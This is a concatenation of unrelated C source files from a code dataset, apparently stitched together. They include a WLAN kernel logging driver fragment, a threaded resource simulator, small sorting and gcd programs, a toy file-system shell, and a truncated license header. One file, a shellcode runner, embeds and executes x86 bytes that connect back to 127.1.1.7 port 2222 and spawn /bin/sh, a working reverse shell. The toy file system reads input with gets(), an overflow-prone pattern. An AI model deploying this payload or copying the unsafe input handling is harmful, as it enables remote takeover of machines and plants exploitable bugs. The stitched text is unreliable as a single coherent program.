WLAN_VOS_DIAG_EVENT_REPORT(&wlan_diag_event, EVENT_WLAN_LOG_COMPLETE);
}
#endif
/**
* send_flush_completion_to_user() - Indicate flush completion to the user
*
* This function is used to send the flush completion message to user space
*
* Return: None
*/
void send_flush_completion_to_user(void)
{
uint32_t is_fatal, indicator, reason_code;
vos_get_log_completion(&is_fatal, &indicator, &reason_code);
/* Error on purpose, so that it will get logged in the kmsg */
LOGGING_TRACE(VOS_TRACE_LEVEL_ERROR,
"%s: Sending flush done to userspace", __func__);
wlan_report_log_completion(is_fatal, indicator, reason_code);
}
/**
* wlan_logging_thread() - The WLAN Logger thread
* @Arg - pointer to the HDD context
*
* This thread logs log message to App registered for the logs.
*/
static int wlan_logging_thread(void *Arg)
{
int ret_wait_status = 0;
int ret = 0;
set_user_nice(current, -2);
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 8, 0))
daemonize("wlan_logging_thread");
#endif
while (!gwlan_logging.exit) {
ret_wait_status = wait_event_interruptible(
gwlan_logging.wait_queue,
(!list_empty(&gwlan_logging.filled_list)
|| test_bit(HOST_LOG_DRIVER_MSG, &gwlan_logging.eventFlag)
|| test_bit(HOST_LOG_PER_PKT_STATS,
&gwlan_logging.eventFlag)
|| test_bit(HOST_LOG_FW_FLUSH_COMPLETE,
&gwlan_logging.eventFlag)
|| gwlan_logging.exit));
if (ret_wait_status == -ERESTARTSYS) {
pr_err("%s: wait_event_interruptible returned -ERESTARTSYS",
__func__);
break;
}
if (gwlan_logging.exit) {
pr_err("%s: Exiting the thread\n", __func__);
break;
}
if (test_and_clear_bit(HOST_LOG_DRIVER_MSG,
&gwlan_logging.eventFlag)) {
ret = send_filled_buffers_to_user();
if (-ENOMEM == ret) {
msleep(200);
}
}
if (test_and_clear_bit(HOST_LOG_PER_PKT_STATS,
&gwlan_logging.eventFlag)) {
ret = pktlog_send_per_pkt_stats_to_user();
if (-ENOMEM == ret) {
msleep(200);
}
}
if (test_and_clear_bit(HOST_LOG_FW_FLUSH_COMPLETE,
&gwlan_logging.eventFlag)) {
/* Flush bit could have been set while we were mid
* way in the logging thread. So, need to check other
* buffers like log messages, per packet stats again
* to flush any residual data in them
*/
if (gwlan_logging.is_flush_complete == true) {
gwlan_logging.is_flush_complete = false;
send_flush_completion_to_user();
} else {
gwlan_logging.is_flush_complete = true;
set_bit(HOST_LOG_DRIVER_MSG,
&gwlan_logging.eventFlag);
set_bit(HOST_LOG_PER_PKT_STATS,
&gwlan_logging.eventFlag);
set_bit(HOST_LOG_FW_FLUSH_COMPLETE,
&gwlan_logging.eventFlag);
wake_up_interruptible(
&gwlan_logging.wait_queue);
}
}
}
pr_info("%s: Terminating\n", __func__);
complete_and_exit(&gwlan_logging.shutdown_comp, 0);
return 0;
}
/*
* Process all the Netlink messages from Logger Socket app in user space
*/
static int wlan_logging_proc_sock_rx_msg(struct sk_buff *skb)
{
tAniNlHdr *wnl;
int radio;
int type;
int ret;
wnl = (tAniNlHdr *) skb->data;
radio = wnl->radio;
type = wnl->nlh.nlmsg_type;
if (radio < 0 || radio > ANI_MAX_RADIOS) {
LOGGING_TRACE(VOS_TRACE_LEVEL_ERROR,
"%s: invalid radio id [%d]\n",
__func__, radio);
return -EINVAL;
}
if (gapp_pid != INVALID_PID) {
if (wnl->nlh.nlmsg_pid > gapp_pid) {
gapp_pid = wnl->nlh.nlmsg_pid;
}
spin_lock_bh(&gwlan_logging.spin_lock);
if (gwlan_logging.pcur_node->filled_length) {
wlan_queue_logmsg_for_app();
}
spin_unlock_bh(&gwlan_logging.spin_lock);
set_bit(HOST_LOG_DRIVER_MSG, &gwlan_logging.eventFlag);
wake_up_interruptible(&gwlan_logging.wait_queue);
} else {
/* This is to set the default levels (WLAN logging
* default values not the VOS trace default) when
* logger app is registered for the first time.
*/
gapp_pid = wnl->nlh.nlmsg_pid;
}
ret = wlan_send_sock_msg_to_app(&wnl->wmsg, 0,
ANI_NL_MSG_LOG, wnl->nlh.nlmsg_pid);
if (ret < 0) {
LOGGING_TRACE(VOS_TRACE_LEVEL_ERROR,
"wlan_send_sock_msg_to_app: failed");
}
return ret;
}
int wlan_logging_sock_activate_svc(int log_fe_to_console, int num_buf)
{
int i = 0;
unsigned long irq_flag;
pr_info("%s: Initalizing FEConsoleLog = %d NumBuff = %d\n",
__func__, log_fe_to_console, num_buf);
gapp_pid = INVALID_PID;
gplog_msg = (struct log_msg *) vmalloc(
num_buf * sizeof(struct log_msg));
if (!gplog_msg) {
pr_err("%s: Could not allocate memory\n", __func__);
return -ENOMEM;
}
vos_mem_zero(gplog_msg, (num_buf * sizeof(struct log_msg)));
gwlan_logging.log_fe_to_console = !!log_fe_to_console;
gwlan_logging.num_buf = num_buf;
spin_lock_irqsave(&gwlan_logging.spin_lock, irq_flag);
INIT_LIST_HEAD(&gwlan_logging.free_list);
INIT_LIST_HEAD(&gwlan_logging.filled_list);
for (i = 0; i < num_buf; i++) {
list_add(&gplog_msg[i].node, &gwlan_logging.free_list);
gplog_msg[i].index = i;
}
gwlan_logging.pcur_node = (struct log_msg *)
(gwlan_logging.free_list.next);
list_del_init(gwlan_logging.free_list.next);
spin_unlock_irqrestore(&gwlan_logging.spin_lock, irq_flag);
init_waitqueue_head(&gwlan_logging.wait_queue);
gwlan_logging.exit = false;
clear_bit(HOST_LOG_DRIVER_MSG, &gwlan_logging.eventFlag);
clear_bit(HOST_LOG_PER_PKT_STATS, &gwlan_logging.eventFlag);
clear_bit(HOST_LOG_FW_FLUSH_COMPLETE, &gwlan_logging.eventFlag);
init_completion(&gwlan_logging.shutdown_comp);
gwlan_logging.thread = kthread_create(wlan_logging_thread, NULL,
"wlan_logging_thread");
if (IS_ERR(gwlan_logging.thread)) {
pr_err("%s: Could not Create LogMsg Thread Controller",
__func__);
spin_lock_irqsave(&gwlan_logging.spin_lock, irq_flag);
vfree(gplog_msg);
gplog_msg = NULL;
gwlan_logging.pcur_node = NULL;
spin_unlock_irqrestore(&gwlan_logging.spin_lock, irq_flag);
return -ENOMEM;
}
wake_up_process(gwlan_logging.thread);
gwlan_logging.is_active = true;
gwlan_logging.is_flush_complete = false;
nl_srv_register(ANI_NL_MSG_LOG, wlan_logging_proc_sock_rx_msg);
pr_info("%s: Activated wlan_logging svc\n", __func__);
return 0;
}
int wlan_logging_sock_deactivate_svc(void)
{
unsigned long irq_flag;
if (!gplog_msg)
return 0;
nl_srv_unregister(ANI_NL_MSG_LOG, wlan_logging_proc_sock_rx_msg);
clear_default_logtoapp_log_level();
gapp_pid = INVALID_PID;
INIT_COMPLETION(gwlan_logging.shutdown_comp);
gwlan_logging.exit = true;
gwlan_logging.is_active = false;
vos_set_multicast_logging(0);
gwlan_logging.is_flush_complete = false;
clear_bit(HOST_LOG_DRIVER_MSG, &gwlan_logging.eventFlag);
clear_bit(HOST_LOG_PER_PKT_STATS, &gwlan_logging.eventFlag);
clear_bit(HOST_LOG_FW_FLUSH_COMPLETE, &gwlan_logging.eventFlag);
wake_up_interruptible(&gwlan_logging.wait_queue);
wait_for_completion(&gwlan_logging.shutdown_comp);
spin_lock_irqsave(&gwlan_logging.spin_lock, irq_flag);
vfree(gplog_msg);
gplog_msg = NULL;
gwlan_logging.pcur_node = NULL;
spin_unlock_irqrestore(&gwlan_logging.spin_lock, irq_flag);
pr_info("%s: Deactivate wlan_logging svc\n", __func__);
return 0;
}
int wlan_logging_sock_init_svc(void)
{
spin_lock_init(&gwlan_logging.spin_lock);
gapp_pid = INVALID_PID;
gwlan_logging.pcur_node = NULL;
return 0;
}
int wlan_logging_sock_deinit_svc(void)
{
gwlan_logging.pcur_node = NULL;
gapp_pid = INVALID_PID;
return 0;
}
/**
* wlan_logging_set_per_pkt_stats() - This function triggers per packet logging
*
* This function is used to send signal to the logger thread for logging per
* packet stats
*
* Return: None
*
*/
void wlan_logging_set_per_pkt_stats(void)
{
if (gwlan_logging.is_active == false)
return;
set_bit(HOST_LOG_PER_PKT_STATS, &gwlan_logging.eventFlag);
wake_up_interruptible(&gwlan_logging.wait_queue);
}
/**
* wlan_logging_set_log_level() - Set the logging level
*
* This function is used to set the logging level of host debug messages
*
* Return: None
*/
void wlan_logging_set_log_level(void)
{
set_default_logtoapp_log_level();
}
/*
* wlan_logging_set_fw_flush_complete() - FW log flush completion
*
* This function is used to send signal to the logger thread to indicate
* that the flushing of FW logs is complete by the FW
*
* Return: None
*
*/
void wlan_logging_set_fw_flush_complete(void)
{
if (gwlan_logging.is_active == false)
return;
set_bit(HOST_LOG_FW_FLUSH_COMPLETE, &gwlan_logging.eventFlag);
wake_up_interruptible(&gwlan_logging.wait_queue);
}
#endif /* WLAN_LOGGING_SOCK_SVC_ENABLE */
|
the_stack_data/159514250.c
|
# include <stdio.h>
# include <stdlib.h>
# include <unistd.h>
# include <stdarg.h>
# include <assert.h>
# include <sys/stat.h>
# include <fcntl.h>
# include <sys/types.h>
# include <signal.h>
# include <string.h>
# include <malloc.h>
# include <pthread.h>
# include <sys/times.h>
# include <errno.h>
# define NRES_TYPES 10
# define NTASKS 25
typedef enum {IDLE, RUN, WAIT} STATE;
struct rescources {
char name[32];
int value;
struct rescources *next;
};
typedef struct rescources RESOURCE;
RESOURCE resList[NRES_TYPES];
typedef struct {
char name[32];
int busyTime;
int idleTime;
STATE state;
int totalRunTime;
int totalIdleTime;
int totalWaitTime;
int iteration;
int ready;
int numreq;
RESOURCE reqRes[NRES_TYPES];
pthread_t taskID;
} TASK;
TASK taskList[NTASKS];
int NITER;
pthread_mutex_t monitorMutex;
pthread_mutex_t resourceMutex;
pthread_mutex_t taskMutex;
int ITASK;
int IRES;
void millsleep(int millsecond);
void setResList(char *line);
void readFile(char *filename);
void mutex_unlock(pthread_mutex_t* mutex);
void mutex_lock(pthread_mutex_t* mutex);
void mutex_init(pthread_mutex_t* mutex);
void addValueRes(char* key, int value);
void *taskExecute(void* index);
int findValueRes(char* key);
int checkResources(RESOURCE *reqRes, int size);
void takeRescources(RESOURCE *reqRes, int size);
void returnResources(RESOURCE *reqRes, int size);
void *monitorExecute(void *time);
void divideRes(char *name, int i);
int main(int argc, char *argv[]) {
clock_t stime, etime;
struct tms tmsstart;
struct tms tmsend;
stime = times(&tmsstart);
int monitorTime;
if (argc != 4) {
printf("Number of arguments is wrong\n");
return -1;
}
monitorTime = atoi(argv[2]);
NITER = atoi(argv[3]);
// read the file
readFile(argv[1]);
int err;
pthread_t ntid;
printf("Ready to create Thread\n");
// create monitor thread.
err = pthread_create(&ntid, NULL, monitorExecute, &monitorTime);
if (err != 0) {
printf("Fail to create monitor thread.\n");
}
// create task thread
mutex_lock(&taskMutex);
for (int i=0; i<ITASK; i++) {
err = pthread_create(&ntid, NULL, taskExecute, &i);
if (err != 0) {
printf("Fail to create task thread\n");
}
mutex_lock(&taskMutex);
}
millsleep(500);
// wait all task thread to end
for (int i=0; i<ITASK;i++) {
err = pthread_join(taskList[i].taskID, NULL);
if (err != 0) {
printf("Fail to wait task thread to end\n");
}
}
// print the termination information and exit
// all other thread (monitor thread) will end
printf("All tasks are finished\n");
// print system rescources
printf("\nSystem Resources:\n");
int i = 0;
for (i=0; i<IRES; i++) {
printf("\t%s: (maxAvail= %d, held= 0)\n", resList[i].name, resList[i].value);
};
// print task info
printf("\nSystem Tasks:\n");
for (int i=0; i<ITASK; i++) {
char states[10];
// get the state value
if (taskList[i].state == WAIT) {
strcpy(states, "WAIT");
} else if (taskList[i].state == RUN) {
strcpy(states, "RUN");
} else {
strcpy(states, "IDLE");
}
printf("%s (%s, runTime= %d msec, idleTime= %d msec):\n", taskList[i].name, states, taskList[i].busyTime, taskList[i].idleTime);
printf("\t(tid= %lu)\n", taskList[i].taskID);
for(int j=0; j<taskList[i].numreq; j++) {
printf("\t%s: (needed= %d, held= %d)\n", taskList[i].reqRes[j].name, taskList[i].reqRes[j].value, 0);
};
printf("\t(RUN: %d times, WAIT: %d msec)\n", taskList[i].iteration, taskList[i].totalWaitTime);
}
etime = times(&tmsend);
clock_t t = etime -stime;
printf("Running time = %d msec\n", (int)((double) t/CLOCKS_PER_SEC*10000000));
return 0;
}
void *taskExecute(void* index_p) {
int index = *(int *)index_p;
TASK *task;
task = &taskList[index];
task->taskID = pthread_self();
task->ready = 1;
printf("Task %d: %s Thread Started\n", index, task->name);
mutex_unlock(&taskMutex);
clock_t startTime, waitTime;
struct tms tmswaitstart;
struct tms tmswaitend;
mutex_lock(&monitorMutex);
task->state = WAIT;
mutex_unlock(&monitorMutex);
startTime = times(&tmswaitstart);
while (1) {
// go into the loop
// startTime = times(&tmswaitstart); change since may not have rescource at first time
// check the rescources and if avilbe than start run
mutex_lock(&resourceMutex);
//printf("task %s ",task->name);
if (checkResources(task->reqRes, task->numreq)==0) {
mutex_unlock(&resourceMutex);
millsleep(23);
continue;
}
waitTime = times(&tmswaitend);
task->totalWaitTime += ((double)(waitTime - startTime))*10000000/CLOCKS_PER_SEC;
takeRescources(task->reqRes, task->numreq);
mutex_unlock(&resourceMutex);
// as all value need has been take, task states tend to busy
mutex_lock(&monitorMutex);
task->state = RUN;
mutex_unlock(&monitorMutex);
// "run" for task.busyTime
millsleep(task->busyTime);
task->totalRunTime += task->busyTime;
// return the rescources
mutex_lock(&resourceMutex);
returnResources(task->reqRes, task->numreq);
mutex_unlock(&resourceMutex);
// into idle time
mutex_lock(&monitorMutex);
task->state = IDLE;
mutex_unlock(&monitorMutex);
// "idle" for task.idleTime
millsleep(task->idleTime);
task->iteration++;
waitTime = times(&tmswaitend);
int iterTime = ((double)(waitTime - startTime))*10000000/CLOCKS_PER_SEC;
printf("task: %s (tid= %lu, iter= %d, time= %dmsec)\n", task->name, task->taskID, task->iteration, iterTime);
if (task->iteration >= NITER) {
printf("task %s finished\n", task->name);
pthread_exit("Final");
}
//reset the states to wait
mutex_lock(&monitorMutex);
task->state = WAIT;
mutex_unlock(&monitorMutex);
startTime = times(&tmswaitstart);
}
return NULL;
}
void *monitorExecute(void *time) {
// moitor all task states after a fix time
printf("Monitor Thread Started\n");
int t = *(int *) time;
// MAX 25 task each with max 32 char name
// no need to move out since the complier will manage the space when complie
char waitString[850];
char runString[850];
char idleString[850];
while(1) {
// sleep for amount time than lock the task states
millsleep(t);
mutex_lock(&monitorMutex);
strcpy(waitString,"");
strcpy(runString,"");
strcpy(idleString,"");
// check all tasks
for (int i=0; i<ITASK;i++) {
printf("%d", taskList[i].state);
if (taskList[i].state == WAIT) {
strcat(waitString, " ");
strcat(waitString, taskList[i].name);
} else if (taskList[i].state == RUN) {
strcat(runString, " ");
strcat(runString, taskList[i].name);
} else {
strcat(idleString, " ");
strcat(idleString, taskList[i].name);
}
}
// print the information just produced
printf("\nmonitor: [WAIT]%s\n\t [RUN]%s\n\t [IDLE]%s\n", waitString, runString, idleString);
// lock mutex
mutex_unlock(&monitorMutex);
}
}
void returnResources(RESOURCE *reqRes, int size) {
// return the rescource the task need
if (size == 0) {
// no need for rescource auto return
return;
}
for (int i=0; i<size; i++) {
addValueRes(reqRes[i].name, reqRes[i].value);
};
return;
}
void takeRescources(RESOURCE *reqRes, int size) {
// take the rescource the task need
if (size == 0) {
// no need for rescource auto return
return;
}
for (int i=0; i<size; i++) {
addValueRes(reqRes[i].name, -reqRes[i].value);
};
return;
}
int checkResources(RESOURCE *reqRes, int size) {
// check if there are enough resource
// return 0 as fail and 1 as correct
if (reqRes == NULL) {
return 1;
}
for (int i=0; i<size; i++) {
// if remain resource is less than task need return 0 as fail
if (findValueRes(reqRes[i].name) < reqRes[i].value) {
//printf("%d %s \n",findValueRes(reqRes[i].name) ,reqRes[i].name);
return 0;
}
};
return 1;
}
void millsleep(int millsecond) {
// sleep for millsecond
// modify from lab
/***
struct timespec interval;
interval.tv_sec = (millsecond - millsecond%1000)/1000;
interval.tv_nsec = millsecond%1000 * 1000000;
nanosleep($interval, NULL)
***/
struct timespec interval;
interval.tv_sec = (long) millsecond / 1000;
interval.tv_nsec = (long) ((millsecond % 1000) * 1000000);
if (nanosleep(&interval, NULL) < 0)
printf("warning: delay: %s\n", strerror(errno));
}
void mutex_init(pthread_mutex_t* mutex) {
// modify from lab
int rval = pthread_mutex_init(mutex, NULL);
if (rval) { fprintf(stderr, "mutex_init: %s\n", strerror(rval)); exit(1); }
}
void mutex_lock(pthread_mutex_t* mutex) {
// modify from lab
int rval = pthread_mutex_lock(mutex);
if (rval) { fprintf(stderr, "mutex_lock: %s\n", strerror(rval)); exit(1); }
}
void mutex_unlock(pthread_mutex_t* mutex) {
// modify from lab
int rval = pthread_mutex_unlock(mutex);
if (rval) { fprintf(stderr, "mutex_unlock: %s\n", strerror(rval)); exit(1); }
}
void readFile(char *filename) {
// function to read the file and set up the information
FILE *filefp;
filefp = fopen(filename, "r");
int itask = 0;
if (filefp == NULL) {
printf("Fail to read file\n");
exit(-1);
}
char line[200];
while (fgets(line, 200, filefp)!=NULL) {
// read one line from the file
if (line[0]=='#'||line[0] == '\r'||line[0] == '\n') {
continue;
} else {
char *temp;
temp = strtok(line, " ");
if (strcmp(temp, "resources")==0) {
setResList(line);
} else {
// this line is a task
temp = strtok(NULL, " ");
strcpy(taskList[itask].name, temp);
temp = strtok(NULL, " ");
taskList[itask].busyTime = atoi(temp);
temp = strtok(NULL, " ");
taskList[itask].idleTime = atoi(temp);
taskList[itask].totalRunTime = 0;
taskList[itask].totalIdleTime = 0;
taskList[itask].totalWaitTime = 0;
taskList[itask].iteration = 0;
taskList[itask].ready = 0;
taskList[itask].state = IDLE;
int i = 0;
strcpy(taskList[itask].reqRes[i].name, "\n");
char taskTemp[10][35];
while ((temp = strtok(NULL, " "))!=NULL) {
strcpy(taskTemp[i], temp);
taskList[itask].reqRes[i].next = (void*)NULL;
if (i>0) {
taskList[itask].reqRes[i].next = &taskList[itask].reqRes[i-1];
}
i++;
}
taskList[itask].numreq = i;
for (int j=0;j<taskList[itask].numreq;j++) {
strcpy(taskList[itask].reqRes[j].name, strtok(taskTemp[j], ":"));
taskList[itask].reqRes[j].value = atoi(strtok(NULL, ":"));
}
itask++;
}
}
}
ITASK = itask;
return;
}
void setResList(char *line) {
// function to read the line of resource
char resTemp[10][35];
char *temp;
int i = 0;
temp = strtok(NULL, " ");
while (temp!=NULL) {
strcpy(resTemp[i], temp);
resList[i].next = NULL;
strcpy(resList[i+1].name, "\n");
if (i>0) {
resList[i-1].next = &resList[i];
}
temp = strtok(NULL, " ");
i++;
}
IRES = i;
for (i=0;i<IRES;i++) {
divideRes(resTemp[i], i);
}
return;
}
void divideRes(char *temp, int i) {
// small funciton to handle key:value
strcpy(resList[i].name, strtok(temp, ":"));
resList[i].value = atoi(strtok(NULL, ":"));
return;
}
int findValueRes(char *key) {
// find the value by the key like map or dictionary
for (int i=0; i<IRES; i++) {
if (strcmp(key, resList[i].name)==0) {
return resList[i].value;
}
};
return -255;
}
void addValueRes(char *key, int value) {
// find the value by the key like map or dictionary and modify it
for (int i=0; i<IRES; i++) {
if (strcmp(key, resList[i].name)==0) {
resList[i].value += value;
}
};
return;
}
|
the_stack_data/34173.c
|
///////////////////////////////////////////////////////
// Created by sclereid on 2017/7/8. //
// Copyright © 2017 sclereid. All rights reserved. //
///////////////////////////////////////////////////////
#include <stdio.h>
#include <math.h>
int n, a[105], b[105];
void swap_i(int *, int *);
void qsort_(int low, int high);
int main(int argc, const char *argv[])
{
int i, current, contracts;
scanf("%d", &n);
for(i = 0; i < n; i++)
{
scanf("%d %d", a+i, b+i);
if(a[i] > b[i])
swap_i(a+i, b+i);
}
qsort_(0, n-1);
current = b[0];
contracts = 1;
for(i = 0; i < n; i++)
printf("%d %d\n", a[i], b[i]);
puts("---------");
printf("%d %d\n", a[0], b[0]);
for(i = 1; i < n; i++)
{
if(a[i] >= current)
{
contracts++;
current = b[i];
printf("%d %d\n", a[i], b[i]);
}
}
printf("%d\n", contracts);
return 0;
}
void swap_i(int *a, int *b)
{
int tmp = *a;
*a = *b;
*b = tmp;
}
void qsort_(int low, int high)
{
if(low<high)
{
int i, j, x;
x = b[high];
i = low-1;
for(j = low; j < high; j++)
{
if(b[j] < x)
{
i++;
swap_i(a+i, a+j);
swap_i(b+i, b+j);
}
}
swap_i(a+i+1, a+high);
swap_i(b+i+1, b+high);
qsort_(low, i);
qsort_(i+2, high);
}
}
|
the_stack_data/13635.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h> //for bool type variables
typedef struct Directory
{
char filename[30]; //name of the current file or folder
char filetype[10]; //type of file, indicating a "file" or a "folder"
struct Directory *link[100]; //an array of pointers of type Directory to store upto 100 subdirectories/files
}dir;
void commands(); //displays all commands
void extractInput(char *, char *, char *); //extracts the command and the filename from input
void folder(dir *, char [], char []); //creates new file/folder in the current directory
void display(dir *, int); //displays all the files and folders recursively
void ls(dir *); //displays the contents of current directory
bool alreadyExists(dir *, char [], char []); //checks if a given file/folder already exists in the current directory
void showCurrentDirectory(dir *); //shows the name of thecurrent directory
void changeCurrentDirectory(dir *, char []); //changes the working directory
void setRoot(); //sets current directory to the root folder
dir *root = NULL; //the root directory
dir *currentDirectory; //the current directory
int main()
{
int i;
dir *newFolder;
newFolder = (dir*) malloc(sizeof(dir));
strcpy(newFolder->filename , "root"); //name the root folder as "root"
strcpy(newFolder->filetype , "folder"); //set root as a "folder"
//set all links to NULL
for(i=0; i<100; i++)
{
newFolder->link[i] = NULL;
}
root = newFolder;
currentDirectory = root;
char input[40]; //input variable
char command[5]; //extracted command
char filename[30]; //extracted filename
printf("FILE MANAGEMENT SYSTEM\n");
printf("enter \"help\" for help\n\n\n");
gets(input); //take input
extractInput(input, command, filename); //extract the command and filename from input
while(1) //infinite loop, works until the user wants to exit
{
if(strcmp(command, "mkdir") == 0)
folder(currentDirectory, filename, "folder");
else if(strcmp(command, "file") == 0)
folder(currentDirectory, filename, "file");
else if(strcmp(command, "tree") == 0)
display(root, 0);
else if(strcmp(command, "ls") == 0)
ls(currentDirectory);
else if(strcmp(command, "sd") == 0)
showCurrentDirectory(currentDirectory);
else if(strcmp(command, "cd") == 0)
changeCurrentDirectory(currentDirectory, filename);
else if(strcmp(command, "help") == 0)
commands();
else if(strcmp(command, "exit") == 0)
exit(0);
else
printf("Invalid command.\n");
gets(input);
extractInput(input, command, filename);
}
return 0;
}
void extractInput(char *input, char *command, char *filename)
{
int i, j; //loop variables
for(i=0; input[i] != ' ' && input[i] != '\0'; i++)
{
command[i] = input[i];
}
command[i] = '\0';
i++;
for(j=0; input[i] != '\0'; i++, j++)
{
filename[j] = input[i];
}
filename[j] = '\0';
}
void commands()
{
printf("mkdir <foldername>: make a new folder\n");
printf("file <filename>: create a new file\n");
printf("tree: display all the files and folders\n");
printf("ls: display the files and folders in current directory\n");
printf("sd: show current directory\n");
printf("cd <foldername>: change current directory\n");
printf("cd root: go back to root directory\n");
printf("help: show the command list\n");
printf("exit: close the program\n\n");
printf("Commands are specific to this program and not to be confused with DOS/Linux terminal commands\n");
printf("----represents a folder\n");
printf("~~~~represents a file\n\n");
}
void folder(dir *temp, char filename[30], char filetype[10])
{
//check for duplicate filename
if(alreadyExists(temp, filename, filetype))
{
printf("A %s with this name already exists.\n", filetype);
return;
}
int i = 0;
//loop to enter the first link which is set to NULL
for(i=0; i<100; i++)
{
if(temp->link[i] == NULL)
{
break;
}
}
dir *nf; //new file/folder
nf = (dir*) malloc(sizeof(dir));
temp->link[i] = nf; //link the new folder to ith position of temp's link
strcpy(nf->filetype, filetype); //copy the filetype to nf
strcpy(nf->filename, filename); //copy the filename to nf
//set new file/folders links to NULL
for(i=0; i<100; i++)
{
nf->link[i] = NULL;
}
printf("%s has been successfully created under %s\n", nf->filename, temp->filename);
}
void ls(dir *temp)
{
int i; //loop variable
for(i=0; i<100 && temp->link[i] != NULL; i++)
{
printf("%s\t", temp->link[i]->filename);
}
printf("\n");
}
void display(dir *temp, int level)
{
if(temp == NULL)
return;
int i; //loop variable
//print '-' for folders
if(strcmp(temp->filetype, "folder") == 0)
for(i=1; i <= level; i++)
printf("---");
//print '~' for files
else if(strcmp(temp->filetype, "file") == 0)
for(i=1; i <= level; i++)
printf("~~~");
printf("%s\n", temp->filename);
//call all the subdirectories/files recursively
for(i=0; i<100 && temp->link[i] != NULL; i++)
{
display(temp->link[i], level+1); //increment level to print more dashes
}
}
bool alreadyExists(dir *temp, char name[30], char type[6])
{
int i;
for(i=0; i<100 && temp->link[i] != NULL; i++)
{
if(strcmp(temp->link[i]->filetype, type) == 0)
if(strcmp(temp->link[i]->filename, name) == 0)
return true;
}
return false;
}
void showCurrentDirectory(dir *cur)
{
printf("The current directory is: %s\n", cur->filename);
}
void changeCurrentDirectory(dir *temp, char foldername[30])
{
//to set current directory to "root"
if(strcmp(foldername, "root") == 0)
{
setRoot();
showCurrentDirectory(currentDirectory);
return;
}
int i; //loop variable
bool found = false;
for(i=0; i<100 && temp->link[i] != NULL; i++)
{
if(strcmp(temp->link[i]->filetype, "folder") == 0)
if(strcmp(temp->link[i]->filename, foldername) == 0)
{
found = true;
currentDirectory = temp->link[i];
break;
}
}
//if directory does not exist, create one and set current directory to it
if(found == false)
{
printf("Directory not found. Creating new directory.\n");
folder(currentDirectory, foldername, "folder");
changeCurrentDirectory(currentDirectory, foldername);
return;
}
showCurrentDirectory(currentDirectory);
}
void setRoot()
{
currentDirectory = root;
}
|
the_stack_data/87637688.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int gcd(int a, int b)
{
int r;
do
{
r = a % b;
a = b;
b = r;
// for debug
//printf("r=%d a=%d b=%d\n", r, a, b);
} while (r != 0);
return a;
}
int main()
{
int a, b, ans;
printf("Type a and b: ");
scanf("%d %d", &a, &b);
ans = gcd(a, b);
printf("gcd(%d,%d) = %d\n", a, b, ans);
return 0;
}
|
the_stack_data/94927.c
|
#include <stdio.h>
#define N 10
void quicksort(int a[], int low, int high);
int split(int a[], int low, int high);
int main(void) {
int a[N], i;
printf("Enter %d numbers to be sorted: ", N);
for (i = 0; i < N; i++)
scanf("%d", &a[i]);
quicksort(a, 0, N - 1);
printf("In sorted order: ");
for (i = 0; i < N; i++)
printf("%d ", a[i]);
printf("\n");
return 0;
}
void quicksort(int a[], int low, int high) {
int middle;
if (low >= high) return;
middle = split(a, low, high);
quicksort(a, low, middle - 1);
quicksort(a, middle + 1, high);
}
int split(int a[], int low, int high) {
int part_element = a[low];
for(;;) {
while (low < high && part_element <= a[high])
high--;
if (low >= high) break;
a[low++] = a[high];
while (low < high && a[low] <= part_element)
low++;
if (low >= high) break;
a[high--] = a[low];
}
a[high] = part_element;
return high;
}
|
the_stack_data/114392.c
|
#include<stdio.h>
#include<stdlib.h>
#include <time.h>
#include<math.h>
void create_houses(int** A, int n)
{
int i,j;
// A[i][j]=(rand() % (upper – lower + 1)) + lower ----> gives edge weight = a random number between 1 and 100.
int upper= 100;
int lower=1;
for(i=0;i< n ;i++)
{
for(j=0;j<i;j++)
{
A[i][j]= (rand() % (upper - lower + 1)) + lower;
A[j][i]= A[i][j];
}
}
}
void gen_input(int n, int ***Adj)
{
//
int **adjacency = (int**)malloc((n) * sizeof(int *));//0 indexing
for (int i=0; i<(n); i++)
{
adjacency[i] = (int *)malloc((n)* sizeof(int));//0 indexing
}
for(int i=0;i<(n);i++)
{
for(int j=0;j<(n);j++)
{
adjacency[i][j]=0;
}
}
create_houses(adjacency,n);
*Adj = adjacency;
}
int main()
{
int n;
printf("Enter Number of Houses = ");
scanf("%d",&n);
int **Adjacency;
gen_input(n, &Adjacency);
//printing adjacency matrix
printf("\n ++++ Adjacency matrix ++++\n");
for(int i=0;i<(n);i++)
{
for(int j=0;j<(n);j++)
{
printf("%3d ",Adjacency[i][j]);
}
printf("\n");
}
return 0;
}
|
the_stack_data/594736.c
|
#include <stdio.h>
#include <string.h>
// the shellcode is stored here
unsigned char code[] = \
"\x89\xe5\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x50\x68\x7F\x01\x01\x07\x66\x68\x08\xae\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc6\x31\xc0\x66\xb8\x6a\x01\x89\xf3\x89\xe1\x89\xef\x29\xe7\x89\xfa\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xf3\xfe\xc9\xcd\x80\xfe\xc1\xe2\xf2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
int main()
{
// print the length of the shellcode
printf("Shellcode Length: %d\n", strlen(code));
// convert the shellcode variable to a function
int (*ret)() = (int(*)())code;
// execute the shellcode
ret();
}
|
the_stack_data/59513304.c
|
/*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
